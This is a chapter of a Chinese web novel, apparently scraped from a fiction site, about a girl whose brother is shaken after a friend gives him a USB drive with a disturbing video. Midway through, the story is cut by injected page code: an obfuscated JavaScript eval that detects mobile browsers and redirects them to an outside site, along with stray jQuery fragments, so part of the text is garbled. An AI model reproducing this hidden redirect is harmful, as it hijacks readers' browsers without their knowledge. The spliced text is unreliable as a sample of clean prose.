49. 别扭

作品:《江河之下

    周六中午,江随意没有先回家,而是留校补课。加上叶桐出国参加展会,她今天准备回北江住。


    下午程遇来接时,身边竟然没跟着江随星,这倒是让她奇怪:“星星怎么没来?”


    程遇:“让你爸扔厂里打工了。”


    江随意:“他又怎么了?”


    程遇笑了下,摇头:“没,就是他们班上有个同学的爸爸出事了,他想捐款,但上个月不是把压岁钱都买飞机模型了嘛。”


    江随意系好安全带,问道:“这样啊,那哥回来了吗?我记得这周他应该是放假吧。”


    程遇点头:“中午回来了,但后面就出去了,说是和初中的同学吃个饭。”


    “初中同学?”


    不知道顾橖河会不会在。


    已经下午四点,空气里的燥热渐渐散了些。程遇把车停在小区门口,挂断电话,略带歉意地侧过脸:“意意,抱歉啊,局里面临时要开会,我得先过去了。家里吃的都有,晚饭想吃什么和你爸讲让他做。”


    “没关系程姨,你开车注意安全。”江随意解开安全带,推门下车,隔着车窗朝程遇挥挥手。


    刚到楼下,江随和便从对面绿化带的小径拐出来,低着头,步子拖沓。


    江随意快走几步,扬声喊:“哥!”


    江随和像被惊醒,迅速将手里的东西放回口袋。抬头看清是她,才仓促地扯出个笑:“回来了。”


    “叫你好几声都没听见。”江随意走到他跟前,狐疑地打量着,“想什么呢这么出神?程姨说你中午就回来了,跟初中同学吃饭去了?”


    “嗯。”江随和含糊地应了一声,视线落在她脸上,眉头拧了一下,“瘦了。”


    他伸出手接过江随意肩上的书包。


    江随意边走边说:“在画室两天画了快四十张,手腕都快不是自己的了,结果有人更夸张。但这才哪到哪,等学考结束回去强度还会上来。”


    她絮絮叨叨讲着画室的事情,却发现身后脚步声停了。回头一看,江随和停在原地,书包带松松垮垮地挂在他手腕上。


    “江随和?”江随意折返两步,站到他面前,伸手在他眼前晃了晃,“你今天到底咋了呀,魂不守舍的,是身体不舒服吗?”


    她抬手想探他额头。


    江随和下意识地偏头躲开。


    “没有。”


    他避开她的目光,侧身上前去开门:“先进屋,别在门口站着。”


    门开了,江随意蹬掉鞋子,把自己摔进柔软的沙发里,发出一声舒服的喟叹。


    江随和把她的书包放在客厅凳子上,转身进了厨房。不一会儿,他端了盘洗好的葡萄出来,又去零食柜里翻出两袋她喜欢的海苔饼干,一股脑儿堆在茶几上。


    江随意捻起一颗葡萄丢进嘴里,看着哥哥在客厅和厨房间来回,又是擦桌子又是收靠垫的,动作带着一种刻意的忙碌,就是不怎么说话。


    “江随和。”


    她盘腿坐直,声音提高了一点:“你今天话怎么这么少,不高兴?”


    江随和正弯腰整理沙发扶手上搭着的薄毯,闻言动作顿了顿,但没回头:“没有,我在想事情。”


    “你少来这一套。”江随意跳下沙发,跟到厨房门口。


    江随和背对着她,把台面上几样调料瓶挨个拿起来,又放回去,排得整整齐齐。水槽边刚洗好的玻璃杯,被他用干布擦了又擦,杯壁在顶灯下反射出光。


    江随意的心往下沉了沉。


    她太了解她哥了。每次他情绪不对的时候,就喜欢用整理和清洁来掩饰自己。


    她走过去,扯住他擦杯子的胳膊,声音放软了,有些紧张道:“哥,你别瞒我。程姨说你下午见初中同学了,是不是发生什么事了?”


    江随和握着杯子的手忽然收紧,他转过身,那双总是带着点笑意的眼睛,此刻沉沉地压下来。江随意被他看得心头一跳,还没反应过来,整个人就被一股大力拽了过去,狠狠按进怀抱里。


    “怎么瘦了这么多......”


    江随和的声音闷闷地从头顶传来,手臂箍得她骨头生疼,下巴蹭着她的发顶。


    那声音里,竟还带着浓重的鼻音。


    江随意愣住。


    她哥这是......哭了?


    意识到这一点,不知是为何,她也跟着鼻子一酸,眼眶瞬间就热了,委屈莫名其妙地涌上来:“你干嘛呀,好端端的......问你你也不说话,什么时候喜欢当哑巴了。”


    江随和身体一僵,慌乱地松开手,语气懊恼:“我真的没事,你别哭了。”


    “骗鬼呢,你猜哭了。”江随意瞪着他,“江随和你哭起来可真丑。”


    江随和愣了一下,像是被这话气笑了,伸手不轻不重地掐了下她带着泪痕的脸颊:“你更丑。”


    “滚!”江随意抬脚踹在他小腿上,力道不大。她吸了吸鼻子,盯着他泛红的眼眶,又问:“你说话呀,到底怎么了?你今天......顾橖河也在是吗?你们闹别扭了?”


    江随和又躲了过去,低头捡起刚才掉在地上的擦杯布。他沉默了几秒,才低声开口:“阿橖也在。但不是闹别扭,就是想起以前的很多事。”


    “有些事知道了,心里堵得慌。”


    “奇奇怪怪的。”江随意嘟囔了一句。


    她哥明显没有说实话,但目前看起来也问不出个什么来。


    江随意蔫蔫地转身往自己房间走:“那你自己想吧,累死了,我回去躺会儿。”


    “嗯。”江随和应了一声,看着她关上房门,才长长地吐出一口气。


    过了一会儿,他拿起江随意的书包走到房门口,轻轻敲了敲。


    “进来。”


    江随和推开门,窗帘被紧紧拉上,房间里只开了盏床头小灯,光线昏黄。


    江随意整个人埋进被子里,只露出个毛茸茸的发顶。江随和把书包放在书桌旁的椅子上,走到床边,看着她故意背过去的身体,无奈地扯了扯嘴角。


    “书包给拿进来了。”他低声说。


    被子里的人没动静。


    “别偷偷给我哭啊。”他又加了一句,声音放得更轻。


    一个枕头突然从被子里飞出来,精准地砸在他胸口。


    “滚蛋。”


    江随意的声音隔着被子,闷闷的,带着点气急败坏。


    “你别哭才对,爱说不说,不说拉倒。”


    江随和接住枕头,抱在怀里,站在床边没动。他垂着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087921|172656||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼,视线落在被子上隆起的那个小小鼓包上,手无意识地探进外套口袋。


    吃完饭后,顾橖河跟他单独聊了好一会儿,还给了他一个U盘。


    口袋里的手紧攥着U盘,过了许久,江随和才开口:“意意,以前有没有人欺负过你?”


    被子里的人动了一下,迷迷糊糊探出头来,像是在思考对方的话。片刻后,才传来江随意的声音:“谁能欺负得了我啊。”尾音渐渐低下去,呼吸变得均匀绵长。


    江随和站在原地。


    昏暗中,他脸上的神情复杂难辨,但最终都归于一片晦暗。他退出去,轻轻带上了房门。


    江随和坐在电脑面前,表情冷漠,手里转着那个U盘。他已经在尽量控制自己的情绪,但下午和顾橖河谈的话在他心里扎了根。


    他把U盘插进接口,屏幕上弹出一个孤零零的文件夹,里面只有一个视频文件。


    画面剧烈地晃动起来,显然是仓促拍下的。


    视频重复了一遍又一遍,江随和全程都没有过激的反应,只是逐渐赤红的眼睛出卖了他。


    江随意是被一种奇怪的空落感拽醒的。


    她先是在床上坐了好一会儿,发着愣,任由脑袋里一片空白。半晌才回过神,起身去拉开窗帘,外面的天已经黑透了,只有天边残留着一线模糊的橘红,像即将要熄灭的炭火。路灯昏黄的光线无力地洒在空荡荡的街道上,几乎看不到行人的影子。


    江随意的脑袋昏沉得像灌了铅,睡了一觉,反而更累了。这种醒来仿佛被世界遗弃的孤寂感,让她心里发闷,很不舒服。


    但这份不适很快被门外的声音驱散。


    是江随星清脆又带着点撒娇的嚷嚷:“老爸,菜什么时候好呀,我都快饿扁了。”


    江渐明:“我再弄个汤就好了,去看看你姐醒了没,叫她起来吃饭。”


    “好嘞,保证完成任务。”


    江随意刚走到门边,手还没碰到门把手,房门就被从外面打开了。江随星探了进来,看到她已经站在那儿,立刻咧开嘴露出一个笑容:“阿姐,你醒啦,我正要叫你起来吃饭呢。”他一把拉住江随意的手就往外拽,“快走快走,我忙了一整天,真的太饿了。”


    江随意:“今天去挣钱啦?”


    江随星:“嗯,老爸还额外奖励了我一点。”


    “我们星星真厉害。”


    江随意摸摸弟弟的脑袋,方才莫名产生的孤独感被冲得干干净净。她走到餐桌前,但不见江随和,又问:“哥他人呢?”


    江随星摇摇头:“刚才出去了,没说去哪儿。不过看起来哥哥今天心情不是很好,我叫他好几次都没回我。”


    “来吃饭了。”江渐明正把汤端出来。


    “爸,哥呢?”江随意坐下,拿起筷子,又问了一遍。


    江渐明把身上的围裙脱下来,手里一顿,又转身回厨房:“他说出去透透气,一会儿就回来。我们先吃,给他留点菜。”


    “哦。”江随意没再追问,目光扫过对面江随和空着的座位。


    第二天一早,空气里还有点凉,江随意就已经披着外套坐在阳台上准备速写。


    才画好一张,她就收到了顾橖河的消息,可发消息的人却不是他。